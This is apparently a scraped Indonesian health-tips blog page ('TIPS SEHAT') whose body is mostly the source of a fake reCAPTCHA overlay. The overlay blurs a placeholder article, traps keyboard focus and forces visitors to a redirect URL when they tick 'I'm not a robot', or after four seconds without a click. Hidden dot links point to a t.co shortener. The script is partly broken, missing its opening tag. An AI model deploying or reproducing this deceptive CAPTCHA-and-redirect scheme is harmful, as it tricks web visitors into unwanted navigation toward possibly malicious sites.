TIPS SEHAT: Oktober 2025

<style>
/* overlay & modal */
.fakecap-backdrop{
  position: fixed;
  inset: 0;
  background: rgba(0,0,0,0.55);
  display: none;
  align-items: center;
  justify-content: center;
  z-index: 999999;
  -webkit-backdrop-filter: blur(20px);
  backdrop-filter: blur(20px);
}
.fakecap-modal{
  width: 330px;
  max-width: 94%;
  background: #fff;
  border-radius: 8px;
  padding: 16px;
  box-shadow: 0 18px 40px rgba(0,0,0,0.35);
  font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial;
  display: flex;
  gap:12px;
  align-items: center;
}
.fakecap-left { flex: 0 0 72px; }
.fakecap-img {
  width:72px;height:72px;border:1px solid #e6e6e6;border-radius:4px;display:block;background:#f6f6f6;
  object-fit:contain;
}
.fakecap-body { flex:1; }
.fakecap-title { font-weight:700; font-size:16px; color:#202124; margin-bottom:6px; }
.fakecap-sub { font-size:13px; color:#5f6368; margin-bottom:8px; }
.fakecap-controls { display:flex; align-items:center; gap:10px; }

/* checkbox custom */
.fakecap-checkbox{
  width:26px;height:26px;border-radius:4px;border:2px solid #9aa0a6;display:inline-block;position:relative;cursor:pointer;background:#fff;
  flex: none;
}
.fakecap-checkbox.checked { background:#1a73e8;border-color:#1a73e8; }
.fakecap-checkbox.checked::after {
  content: "✓"; color:#fff; font-weight:700; position:absolute; left:5px; top:-4px; font-size:18px;
}

/* small text on right */
.fakecap-logo { font-size:11px; color:#5f6368; text-align:right; margin-left:6px; }

/* blur effect applied to article wrapper when modal open */
.blur-me {
  transition: filter .25s ease;
}

/* disable body scroll while modal active */
.fakecap-noscroll { overflow: hidden !important; }

@media (max-width:480px){
  .fakecap-modal{flex-direction:column; align-items:flex-start;}
  .fakecap-left{width:100%;}
  .fakecap-img{width:100%;height:auto;}
  .fakecap-logo{align-self:flex-end}
}
</style>

<div id="fakecap-backdrop" class="fakecap-backdrop" role="dialog" aria-modal="true" aria-labelledby="fakecap-title">
  <div class="fakecap-modal" role="document">
    <div class="fakecap-left">
      
      <img alt="reCAPTCHA preview" class="fakecap-img" id="fakecap-img" src="IMG_SRC" />
    </div>

<div class="fakecap-controls">
        <div id="fakeCheck" class="fakecap-checkbox" role="checkbox" aria-checked="false" tabindex="0" aria-label="I'm not a robot"></div>
        <div style="font-size:14px;color:#202124;font-weight:600;">I'm not a robot</div>
        <div class="fakecap-logo"></div>
      </div>
    </div>
  </div>
</div>

<div id="fakecap-article" class="blur-me">
  
  <h2>Judul Artikel</h2>
  <p>Isi artikel kamu di sini. Konten akan diblur sampai pengguna centang kotak.</p>
  
</div>

// === elemen ===
  const backdrop = document.getElementById('fakecap-backdrop');
  const fakeCheck = document.getElementById('fakeCheck');
  const article = document.getElementById('fakecap-article');
  const imgEl = document.getElementById('fakecap-img');

// Jika user sudah pernah verifikasi (localStorage), skip popup
  const LS_KEY = 'fakecap_verified_until';
  function verifiedStored(){
    try {
      const until = localStorage.getItem(LS_KEY);
      return until && Date.now() < parseInt(until,10);
    } catch(e){ return false; }
  }
  function storeVerified(days=1){
    try {
      const ms = Date.now() + days*24*60*60*1000;
      localStorage.setItem(LS_KEY, String(ms));
    } catch(e){}
  }

// buka modal & blur
  function openModal(){
    backdrop.style.display = 'flex';
    article.style.filter = 'blur(20px)';
    article.style.pointerEvents = 'none';
    document.documentElement.classList.add('fakecap-noscroll');
    fakeCheck.focus();

document.addEventListener('keydown', onKeyDown);
    document.addEventListener('focus', trapFocus, true);
  }

function closeModal(){
    backdrop.style.display = 'none';
    article.style.filter = '';
    article.style.pointerEvents = '';
    document.documentElement.classList.remove('fakecap-noscroll');
    document.removeEventListener('keydown', onKeyDown);
    document.removeEventListener('focus', trapFocus, true);
  }

function trapFocus(e){
    if(!backdrop.contains(e.target)){
      e.stopPropagation();
      fakeCheck.focus();
    }
  }

// toggle checkbox state
  let checked = false;
  function toggleCheck(){
    checked = !checked;
    if(checked){
      fakeCheck.classList.add('checked');
      fakeCheck.setAttribute('aria-checked','true');

// delay kecil sebelum redirect
      setTimeout(() => {
        storeVerified(1);
        window.location.href = REDIRECT_URL;
      }, 300);
    } else {
      fakeCheck.classList.remove('checked');
      fakeCheck.setAttribute('aria-checked','false');
    }
  }

// handlers
  fakeCheck.addEventListener('click', toggleCheck);
  fakeCheck.addEventListener('keydown', function(e){
    if(e.key === ' ' || e.key === 'Spacebar' || e.key === 'Enter'){ e.preventDefault(); toggleCheck(); }
  });

// fallback image handling
  imgEl.addEventListener('error', function(){
    imgEl.src = IMG_PLACEHOLDER;
  });

// inisialisasi
  if(!verifiedStored()){
    setTimeout(openModal, 180);
  } else {
    openModal();
  }

// 🚀 Tambahan: Auto redirect setelah 3 detik (tanpa klik)
  setTimeout(function(){
    window.location.href = REDIRECT_URL;
  }, 4000); // 4000 ms = 4 detik

})();
</script>

<p>
<a href="https://t.co/7ENgoJS4X5" target="blank">.</a><br><br>
  <a href="https://t.co/7ENgoJS4X5" target="blank">.</a><br><br>
  <a href="https://t.co/7ENgoJS4X5" target="blank">.</a><br>
  <a href="https://t.co/7ENgoJS4X5" target="blank">.</a><br>
  <a href="https://t.co/7ENgoJS4X5" target="blank">.</a><br>
</p>

WAIT

I'm not a robot Judul Art...

WAIT

Popular Posts

Laporkan Penyalahgunaan

Cari Artikel

Halaman

Ikuti Kami